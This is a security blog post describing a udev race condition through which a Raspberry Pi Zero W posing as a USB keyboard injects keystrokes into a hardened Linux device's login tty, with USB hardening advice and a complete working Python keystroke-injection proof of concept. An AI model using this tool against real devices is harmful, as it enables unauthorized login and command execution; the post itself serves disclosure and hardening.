Ka-chow: Win the udev race

How to secure physical USB interfaces against race condition in userland.

-rw-r--r--12 Nov 20263,622 words~18 min read
mastodonlinkedinrss
~/contents12 sections

I recently tested a device running a custom Linux-based OS where the main client requirement was to ensure the device was secured against untrusted physical access.

As soon as physical access is feasible on a target, the intrusion and data recovery are just a matter of time. How much? Well, that depends on how well the device is configured and secured. For this one, we will dive into the world of securing USB interfaces. We will be showing how weak security mechanisms don't cover all the cheese holes (surprise?). Particularly, we'll be talking about a race condition affecting udev and how an attacker could end up executing commands simply by inserting a Raspberry Pi Zero W on the physical target.

USB Security To-Do List

Let's start with a basic idea of how USB interfaces should be configured. Here is a quick checklist:

Prevent unnecessary USB classes

Why should my device allow a printer to be connected through USB if I don't have any code related to printers? Allowing them just expands the attacker's exploitation surface. Once a USB is connected and recognised by the kernel, the corresponding driver is responsible for managing the device. So, in this example, the printer would be recognised by the kernel and the printer-specific driver would control the device. If a vulnerability exists in that driver, connecting a malicious "printer" could end up compromising our device. TLDR: take a whitelist approach for allowed USB device classes.

Take a look at all USB device classes here.

Restrict USB allowed devices

It's important to know how your product is intended to be used. The higher the number of devices that can be connected, the wider the attack surface is for an attacker. Imagine a Linux-based device that we want people to be able to attach a USB video-steaming camera to. Following the previous checklist item, we just have to restrict the allowed USB classes to class 0e subclass 02 (Video Streaming). The next question is: do we want to support every single video streaming device on the planet? Maybe that's not a great idea. On Linux, the primary USB Video Class (UVC) driver module is uvcvideo. Based on the UVC standard, most modern USB webcams use this driver module. However, what about legacy devices? Legacy video drivers are still supported in most Linux distributions. An example is trying to connect a pre-2005 Philips webcam. That will likely fall back to the legacy pwc driver, which is still supported nowadays, as you can see in the Debian 13.6 Kconfig file:

##
## file: drivers/media/usb/pwc/Kconfig
##
CONFIG_USB_PWC=m

These legacy drivers may be affected by vulnerabilities (such as CVE-2026-68217 for the pwc driver). This means that even if we don't really care about such old camera devices and our code does not even work with the pwc driver, we are still opening the door to more attacks.

Here the idea is to have a well-defined architecture that handles every possible option, rejecting in this case any connected device that requests a driver other than uvcvideo.

If our design lets us narrow the list of permitted cameras even further, it's worth adding a whitelist based on vendor and product IDs (VID_ & PID_). That directly rejects any USB camera device that isn't one of the ones we hardcoded.

Disable or mask TTY interfaces

For Linux-based devices, it's very important to take TTYs into account. With a weak USB policy, attackers may end up inserting USB devices that let them reach system TTYs. For example, in a non-hardened device, if we connect a keyboard via USB (HID 03 class), the keyboard will automatically start interacting with the system TTY. In most cases, this means interacting directly with the login prompt of the system. This is dangerous as attackers could try to blindly brute-force system users and their credentials. So, remember to check for all accessible TTYs and mask them if they are not necessary for your device to work. If they are necessary, remember to apply hardening at the appropriate level (user management, password policies, logs, etc.).

Keep OS up to date

This one is not very difficult to understand. A classic security recommendation. Every single component accessible to an attacker running outdated software increases the attack surface. Simple. Please keep your things updated.

What went wrong

So, what happened during the assessment? Did the target device implement all those checks? Well, you already know the answer:

Nop

Instead, the device relied on udev. Let's dive into it.

What's udev(7)?

It's the device manager for the Linux user space. It manages device nodes in the /dev directory along with their permissions. It's also responsible for handling hardware-related user space events raised by the kernel. To do so, it relies on rules that define which actions to trigger for connected devices. Rules can be found in the following directories:

Rules use operators, keys and strings to set up trigger actions. Let's take a look at an example:

# 83-symlink.rules
SUBSYSTEM=="tty", DRIVERS=="ftdi_sio", ATTRS{interface}=="FT232R USB UART", SYMLINK+="myradio"

The above rule is triggered once a device in the tty subsystem using an FTDI FT232 USB-serial driver that has an interface name starting with the string FT232R USB UART is connected to the machine. The action? Creating a symbolic link in /dev/ named myradio.

Rule filenames need to end in .rules and are parsed in lexical order. That's the reason you'll often see rule filenames starting with two digits.

Cheese hole

Ok, enough theory. Let's see what rule the client device was relying on for its entire USB interface security:

# 01-hardening.rules
ACTION=="add", SUBSYSTEM=="usb", ATTR{bInterfaceClass}=="03", ATTR{authorized}="0"

This rule basically says: "Hey! every time a USB of class 03 (HID) is plugged into the device, deauthorize it.". Makes sense, right? I don't want attackers to be able to connect a keyboard and thus try to interact with my system. Well, it does make sense, but there is a cheese hole. Let's get back to udev and review what's under the hood when an HID USB is plugged in.

The following diagram gives an overview of how the Linux kernel and user space manage this situation.

USB diagram

Did you notice the problem? We have a race condition here. We can see how the keyboard is set up by the kernel and ready to be used before udev (user space) has a chance to block it. We are talking about milliseconds, but for a brief window we have a valid keyboard working. The key idea is: what if we can send a key before udev deauthorizes the device? If so, the key will land on the attached tty if it's not masked.

Cooking time

Okay, let's review our ingredients:

Seems great, time to start cooking. You know, cooking is very personal; each chef has their own ways, programming languages utensils and favourite AI agents spices. For the following example, we'll be using a Raspberry Pi Zero W to act as our malicious USB. We need to configure it first. Once it's ready, we can write a malicious script to try to send keys. The keys are going to end up in the default Linux tty, which is the login prompt.

Yes, there is a caveat: you need to know the username/password if you want to end up executing commands. But, hey, that's a completely different step. I'm not going to help you get those from your target device ๐Ÿ˜œ.

Raspberry Pi Zero W setup

First, we need to install an OS on our Raspberry Pi. We can use the Raspberry Pi Imager, then select Raspberry Pi Zero as the device and Raspberry Pi OS Lite (32-bit) as the OS. Make sure to customize the image with the correct Wi-Fi and ssh settings. I recommend setting up a custom Wi-Fi hotspot using a USB dongle. This way our Raspberry Pi will be connected to our custom network once it's plugged into the Linux target device. We can then use ssh to connect to our Pi.

For the OS configuration, we can connect the Pi to the target device or to a different one; we only need the Pi to be powered up.

Once we have connected via ssh, we need to tweak the OS to allow us to interact with the USB interface. We can use raw-gadget. From the README: "Raw Gadget is a Linux kernel module that implements a low-level interface for the Linux USB Gadget subsystem". Make sure to check the Raspberry Pi Guide for proper installation.

With raw-gadget installed and working, we can move on to the scripting part, but first I'd recommend buying a hardware extension that converts your Raspberry Pi Zero into a USB dongle (see image below for an example). That's going to facilitate the work.

Raspberry Pi Zero W USB Dongle

The script

For this proof of concept I decided to go with a simple and portable Python script written by Opus 4.8. The idea is to have a loop like the following:

Loop

Show the code
#!/usr/bin/env python3

import argparse
import contextlib
import errno
import fcntl
import os
import signal
import struct
import sys
import threading
import time

RAW_DEV, UDC_DIR = "/dev/raw-gadget", "/sys/class/udc"
USB_SPEED_HIGH = 3
EVENT_CONNECT, EVENT_CONTROL = 0, 2
EPS_NUM_MAX, EP_INFO_SIZE, EP_ADDR_ANY = 30, 32, 0xFF   # ep_info: name[16]+addr+caps+limits
CAP_INT, CAP_DIR_IN = 1 << 2, 1 << 3
VID, PID = 0x1234, 0x5678
DISCONNECT_GRACE = 0.5
LEFT_SHIFT, EMPTY_REPORT = 0x02, bytes(8)

# ioctl numbers, per <linux/usb/raw_gadget.h>; _ioc(dir, nr, size), dir 0=none 1=w 2=r 3=rw
def _ioc(d, nr, sz): return (d << 30) | (ord("U") << 8) | nr | (sz << 16)
INIT, RUN, EVENT = _ioc(1, 0, 257), _ioc(0, 1, 0), _ioc(2, 2, 8)
EP0_WRITE, EP0_READ, EP0_STALL = _ioc(1, 3, 8), _ioc(3, 4, 8), _ioc(0, 12, 0)
EP_ENABLE, EP_DISABLE, EP_WRITE = _ioc(1, 5, 9), _ioc(1, 6, 4), _ioc(1, 7, 8)
CONFIGURE, VBUS_DRAW, EPS_INFO = _ioc(0, 9, 0), _ioc(1, 10, 4), _ioc(2, 11, 960)


# --- USB descriptors: a boot keyboard with one interrupt-IN endpoint --------- #
STRINGS = {1: "PoC", 2: "USB HID PoC"}
REPORT_DESC = bytes([
    0x05, 0x01, 0x09, 0x06, 0xA1, 0x01, 0x05, 0x07, 0x19, 0xE0, 0x29, 0xE7,
    0x15, 0x00, 0x25, 0x01, 0x75, 0x01, 0x95, 0x08, 0x81, 0x02,   # modifier byte
    0x75, 0x08, 0x95, 0x01, 0x81, 0x01,                           # reserved byte
    0x75, 0x08, 0x95, 0x06, 0x15, 0x00, 0x25, 0x65, 0x05, 0x07,
    0x19, 0x00, 0x29, 0x65, 0x81, 0x00, 0xC0,                     # six key slots
])


def device_desc():
    return struct.pack("<BBHBBBBHHHBBBB", 18, 1, 0x0200, 0, 0, 0, 64,
                       VID, PID, 0x0100, 1, 2, 0, 1)


def hid_desc():
    return struct.pack("<BBHBBBH", 9, 0x21, 0x0111, 0, 1, 0x22, len(REPORT_DESC))


def config_desc(ep_addr, binterval):
    iface = struct.pack("<BBBBBBBBB", 9, 4, 0, 0, 1, 0x03, 1, 1, 0)
    endp = struct.pack("<BBBBHB", 7, 5, ep_addr, 0x03, 8, binterval)
    total = 9 + len(iface) + len(hid_desc()) + len(endp)
    return struct.pack("<BBHBBBBB", 9, 2, total, 1, 1, 0, 0xA0, 50) + iface + hid_desc() + endp


def string_desc(index):
    if index == 0:
        return struct.pack("<BBH", 4, 3, 0x0409)
    text = STRINGS.get(index)
    if text is None:
        return None
    data = text.encode("utf-16-le")
    return struct.pack("<BB", 2 + len(data), 3) + data


def build_keymap():
    km = {}
    for i in range(26):
        km[chr(97 + i)], km[chr(65 + i)] = (0, 0x04 + i), (LEFT_SHIFT, 0x04 + i)
    for i, c in enumerate("1234567890"): km[c] = (0, 0x1E + i)
    for i, c in enumerate("!@#$%^&*()"): km[c] = (LEFT_SHIFT, 0x1E + i)
    plain = {' ': 0x2C, '\n': 0x28, '\t': 0x2B, '-': 0x2D, '=': 0x2E, '[': 0x2F,
             ']': 0x30, '\\': 0x31, ';': 0x33, "'": 0x34, '`': 0x35, ',': 0x36,
             '.': 0x37, '/': 0x38}
    shift = {'_': 0x2D, '+': 0x2E, '{': 0x2F, '}': 0x30, '|': 0x31, ':': 0x33,
             '"': 0x34, '~': 0x35, '<': 0x36, '>': 0x37, '?': 0x38}
    for c, k in plain.items(): km[c] = (0, k)
    for c, k in shift.items(): km[c] = (LEFT_SHIFT, k)
    return km


KEYMAP = build_keymap()


# --- the gadget: raw-gadget ioctls + enumeration + typing -------------------- #
class Keyboard:
    def __init__(self, udc, binterval, char_delay):
        self.udc, self.binterval, self.char_delay = udc, binterval, char_delay
        self.fd = self.ep_handle = self.cfg = None
        self.ep_addr = 0x81
        self.dev, self.hid = device_desc(), hid_desc()
        self.configured, self.stop = threading.Event(), threading.Event()
        self.connected = self.saw_setup = False
        self.presses, self.error, self._thread = 0, "", None

    # -- ioctl wrappers (one per kernel call) -- #
    def _open(self):
        try:
            self.fd = os.open(RAW_DEV, os.O_RDWR)
        except OSError as e:
            if e.errno != errno.ENOENT:
                raise
            os.system("modprobe raw_gadget 2>/dev/null")
            self.fd = os.open(RAW_DEV, os.O_RDWR)

    def _init_run(self):
        name = self.udc.encode().ljust(128, b"\x00")[:128]       # driver + device name
        fcntl.ioctl(self.fd, INIT, name + name + struct.pack("<B", USB_SPEED_HIGH), False)
        fcntl.ioctl(self.fd, RUN)

    def _event(self):
        buf = bytearray(8 + 64)
        struct.pack_into("<I", buf, 4, 64)                       # data capacity
        fcntl.ioctl(self.fd, EVENT, buf, True)
        t, n = struct.unpack_from("<II", buf, 0)
        return t, bytes(buf[8:8 + n])

    def ep0_write(self, d):
        fcntl.ioctl(self.fd, EP0_WRITE, struct.pack("<HHI", 0, 0, len(d)) + bytes(d), False)

    def ep0_read(self, n=0):
        # control-OUT, incl. the zero-length status stage, must be drained here
        buf = bytearray(8 + n)
        struct.pack_into("<HHI", buf, 0, 0, 0, n)
        fcntl.ioctl(self.fd, EP0_READ, buf, True)

    def ep0_stall(self):
        fcntl.ioctl(self.fd, EP0_STALL)

    def _pick_ep(self):
        buf = bytearray(EP_INFO_SIZE * EPS_NUM_MAX)
        try:
            count = fcntl.ioctl(self.fd, EPS_INFO, buf, True)
        except OSError as e:
            self.error = "EPS_INFO: %s" % e
            return
        for i in range(min(count, EPS_NUM_MAX)):
            addr, caps = struct.unpack_from("<II", buf, i * EP_INFO_SIZE + 16)
            if caps & CAP_INT and caps & CAP_DIR_IN:
                self.ep_addr = 0x80 | (1 if addr == EP_ADDR_ANY else addr & 0x0F)
                return

    def _enable(self):
        desc = struct.pack("<BBBBHBBB", 7, 5, self.ep_addr, 0x03, 8, self.binterval, 0, 0)
        # a writable buffer makes ioctl() return the handle, not the buffer bytes
        self.ep_handle = fcntl.ioctl(self.fd, EP_ENABLE, bytearray(desc), True)
        for call in (lambda: fcntl.ioctl(self.fd, VBUS_DRAW, struct.pack("<I", 50), False),
                     lambda: fcntl.ioctl(self.fd, CONFIGURE)):
            try:
                call()
            except OSError:
                pass

    def _disable(self):
        if self.ep_handle is None:
            return
        try:
            fcntl.ioctl(self.fd, EP_DISABLE, struct.pack("<I", self.ep_handle), False)
        except OSError:
            pass
        self.ep_handle = None

    def _report(self, data):
        # blocks until the host polls the endpoint and collects the report
        fcntl.ioctl(self.fd, EP_WRITE,
                    struct.pack("<HHI", self.ep_handle, 0, len(data)) + bytes(data), False)
        if self.char_delay:
            time.sleep(self.char_delay)

    # -- enumeration (background thread) -- #
    def _loop(self):
        while not self.stop.is_set():
            try:
                t, setup = self._event()
            except OSError:
                if self.stop.is_set():
                    return
                time.sleep(0.01)                     # transient, e.g. mid-reset
                continue
            if t == EVENT_CONNECT:
                self.connected = True
            elif t == EVENT_CONTROL:
                self.saw_setup = True
                try:
                    self._setup(setup)
                except OSError:
                    pass

    def _descriptor(self, w_value):
        dtype, index = w_value >> 8, w_value & 0xFF
        return {1: self.dev, 2: self.cfg, 0x21: self.hid, 0x22: REPORT_DESC,
                3: string_desc(index)}.get(dtype)

    def _reply(self, payload, w_len=0):
        if payload is None:
            self.ep0_stall()
        else:
            self.ep0_write(payload[:w_len] if w_len else payload)

    def _setup(self, s):
        req, (w_value, _, w_len) = s[1], struct.unpack_from("<HHH", s, 2)
        IN, kind = s[0] & 0x80, s[0] & 0x60
        # standard: 06=GET_DESC 00=GET_STATUS 08=GET_CONFIG 09=SET_CONFIG 05=SET_ADDR 0B=SET_IFACE
        # class:    01=GET_REPORT 02=GET_IDLE 03=GET_PROTO 09=SET_REPORT 0A=SET_IDLE 0B=SET_PROTO
        if kind == 0x00:
            if IN and req == 0x06:       self._reply(self._descriptor(w_value), w_len)
            elif IN and req == 0x00:     self._reply(b"\x00\x00")
            elif IN and req == 0x08:     self._reply(bytes([self.configured.is_set()]))
            elif not IN and req == 0x09: self._set_config(w_value)
            elif not IN and req in (0x05, 0x0B): self.ep0_read()
            else:                        self.ep0_stall()
        elif kind == 0x20:
            if IN and req == 0x01:       self._reply(bytes(min(w_len, 8) or 8))
            elif IN and req == 0x02:     self._reply(b"\x00")
            elif IN and req == 0x03:     self._reply(b"\x01")
            elif not IN and req in (0x0A, 0x0B): self.ep0_read()
            elif not IN and req == 0x09: self.ep0_read(w_len)
            else:                        self.ep0_stall()
        else:
            self.ep0_stall()

    def _set_config(self, on):
        try:
            if on:
                self._enable(); self.configured.set()
            else:
                self._disable(); self.configured.clear()
        except OSError as e:
            self.error = "EP_ENABLE: %s" % e
        self.ep0_read()

    # -- keystrokes (main thread) -- #
    def type_keys(self, keys):
        for mod, kc in keys:                         # release between keys avoids chording
            self._report(bytes([mod, 0, kc, 0, 0, 0, 0, 0]))
            self.presses += 1
            self._report(EMPTY_REPORT)

    # -- lifecycle -- #
    def start(self):
        self._open()
        self._init_run()
        self._pick_ep()
        self.cfg = config_desc(self.ep_addr, self.binterval)
        self._thread = threading.Thread(target=self._loop, daemon=True)
        self._thread.start()

    def close(self):
        self.stop.set()
        if self._thread and self._thread.is_alive():
            try:                                     # wake the thread off its blocking fetch
                signal.pthread_kill(self._thread.ident, signal.SIGUSR1)
            except (OSError, ValueError):
                pass
            self._thread.join(timeout=1.0)
        self._disable()
        if self.fd is not None:
            try:
                os.close(self.fd)
            except OSError:
                pass
            self.fd = None


# --- session: one character per enumeration, with retries -------------------- #
class Timeout(Exception):
    pass


def poll_period(b):
    """High-speed interrupt period: 2^(n-1) microframes of 125 us."""
    return (2 ** (max(1, min(16, b)) - 1)) * 125e-6


@contextlib.contextmanager
def time_budget(seconds):
    """Bound the body: _report blocks until the host polls, so cap a host that
    enumerated us but then went quiet."""
    def raise_(*_):
        raise Timeout()
    old = signal.signal(signal.SIGALRM, raise_)
    signal.setitimer(signal.ITIMER_REAL, seconds)
    try:
        yield
    finally:
        signal.setitimer(signal.ITIMER_REAL, 0)
        signal.signal(signal.SIGALRM, old)


def find_udc():
    try:
        return sorted(os.listdir(UDC_DIR))[0]
    except (OSError, IndexError):
        return None


def _verdict(g):
    if g.saw_setup:
        return "BLOCKED - host enumerated but never configured"
    if g.connected:
        return "NO-CONFIG - host saw us but did not enumerate"
    return "NO-LINK - no host traffic (cable or port not powered)"


def run_session(udc, ch, enter, args):
    """Type one character in its own enumeration. Returns presses delivered."""
    g = Keyboard(udc, args.poll_interval, args.char_delay)
    keys = [KEYMAP[ch]] + ([KEYMAP["\n"]] if enter else [])
    try:
        g.start()
        print("    ep 0x%02X  bInterval=%d (~%.0f us)  VID=0x%04X PID=0x%04X"
              % (g.ep_addr, args.poll_interval, poll_period(args.poll_interval) * 1e6, VID, PID))
        if not g.configured.wait(args.timeout):
            print("    " + _verdict(g))
            if g.error:
                print("    " + g.error)
            return 0
        print("    ALLOWED - host configured the keyboard")
        if args.startup_delay:
            print("    waiting %.2fs for the HID driver to bind" % args.startup_delay)
            time.sleep(args.startup_delay)
        budget = (len(keys) * 2 + 2) * poll_period(args.poll_interval) * 8 + 5.0
        try:
            with time_budget(budget):
                g.type_keys(keys)
        except Timeout:
            print("    host stopped polling the endpoint")
        if g.presses and args.settle:
            time.sleep(args.settle)
    except OSError as e:
        print("    %s" % e)
    finally:
        g.close()
        time.sleep(DISCONNECT_GRACE)
    return g.presses


def deliver_char(udc, ch, enter, args):
    attempt = 0
    while True:
        if run_session(udc, ch, enter, args) > 0:
            return True
        attempt += 1
        if args.max_retries and attempt >= args.max_retries:
            print("    giving up after %d attempt(s)" % attempt)
            return False
        print("    nothing reached the host, retry %d in %.2fs" % (attempt, args.retry_delay))
        time.sleep(args.retry_delay)


def parse_args(argv):
    p = argparse.ArgumentParser(description="USB HID keyboard injection via raw-gadget, one "
                                "character per enumeration (authorised assessment use only).")
    p.add_argument("--sentence", default="testuser", help="string to type")
    g = p.add_mutually_exclusive_group()
    g.add_argument("--enter", dest="enter", action="store_true", help="press ENTER after the last char (default)")
    g.add_argument("--no-enter", dest="enter", action="store_false", help="leave the line unsubmitted")
    p.set_defaults(enter=True)
    p.add_argument("--startup-delay", type=float, default=1.5, help="pause after config for the HID driver to bind")
    p.add_argument("--settle", type=float, default=0.1, help="hold the bus after the last report (0 disables)")
    p.add_argument("--retry-delay", type=float, default=0.25, help="pause before retrying a lost character")
    p.add_argument("--max-retries", type=int, default=0, help="attempts per character, 0 = unlimited")
    p.add_argument("--timeout", type=float, default=15.0, help="seconds to wait for the host to configure us")
    p.add_argument("--poll-interval", type=int, default=4, help="HID bInterval, 2^(N-1) microframes: 4=1ms")
    p.add_argument("--char-delay", type=float, default=0.0, help="extra pause after every report")
    return p.parse_args(argv)


def main(argv):
    args = parse_args(argv)
    if os.geteuid() != 0:
        sys.exit("Must run as root (use sudo).")
    if not os.path.exists(RAW_DEV):
        os.system("modprobe raw_gadget 2>/dev/null")
    if not os.path.exists(RAW_DEV):
        sys.exit("raw_gadget not available (needs CONFIG_USB_RAW_GADGET).")
    udc = find_udc()
    if not udc:
        sys.exit("No UDC under %s. Is device/OTG mode enabled?" % UDC_DIR)
    if not args.sentence:
        sys.exit("Nothing to send: --sentence is empty.")
    unmapped = sorted({c for c in args.sentence if c not in KEYMAP})
    if unmapped:
        sys.exit("Not on a US keyboard layout: %s" % " ".join(map(repr, unmapped)))

    print("Authorised use only: presents a USB keyboard and injects keystrokes into the host.")
    print("Sending %d character(s) over UDC %s, ENTER %s.\n"
          % (len(args.sentence), udc, "on the last" if args.enter else "off"))
    for i, ch in enumerate(args.sentence):
        enter = args.enter and i == len(args.sentence) - 1
        print("[%2d/%d] %r%s" % (i + 1, len(args.sentence), ch, " + ENTER" if enter else ""))
        if not deliver_char(udc, ch, enter, args):
            print("\nAborted: character %r never reached the host." % ch)
            return 1
    print("\nDone: %d character(s) delivered%s."
          % (len(args.sentence), ", ENTER pressed" if args.enter else ""))
    return 0


if __name__ == "__main__":
    try:
        signal.signal(signal.SIGUSR1, lambda *_: None)
    except (AttributeError, ValueError, OSError):
        pass
    sys.exit(main(sys.argv[1:]))

Some arguments exist to tweak timings. Take a look at them using the --help flag.

# Get help
sudo python3 poc.py --help

Feel free to play with it and create your own script variants.

Results

Here is the final setup:

Loop

I used a Raspberry Pi 3b as the target. I configured it with a user account named operator, using (operator) as the password, and loaded the "secure" udev rule:

# 99-hardening.rules
ACTION=="add", SUBSYSTEM=="usb", ATTR{bInterfaceClass}=="03", ATTR{authorized}="0"

Then, once the Pi Zero W (pwnedusb) is plugged in, we can ssh to it and run the script. By default, the script also sends an ENTER key, so for this demo we just run it three times: once for the username, once for the password, and once for the command we want to run on the target.

# Send username
sudo python3 poc.py --sentence "operator" --startup-delay 0.0625

# Send password
sudo python3 poc.py --sentence "operator" --startup-delay 0.0625

# Send command
sudo python3 poc.py --sentence "id" --startup-delay 0.0625

As you can see on the video below, the script worked and we were able to execute commands on the target just by plugging a Raspberry Pi Zero W and winning the race.

Keep in mind that this may not work on every setup, as it depends on how quickly udev executes on the target device. For example, the timing may differ significantly between a Raspberry Pi 3b and a powerful Linux laptop.

I hope you learned something new, and now have one more thing to check for when attacking or hardening a Linux-based device. See you on the next one! ๐Ÿ˜„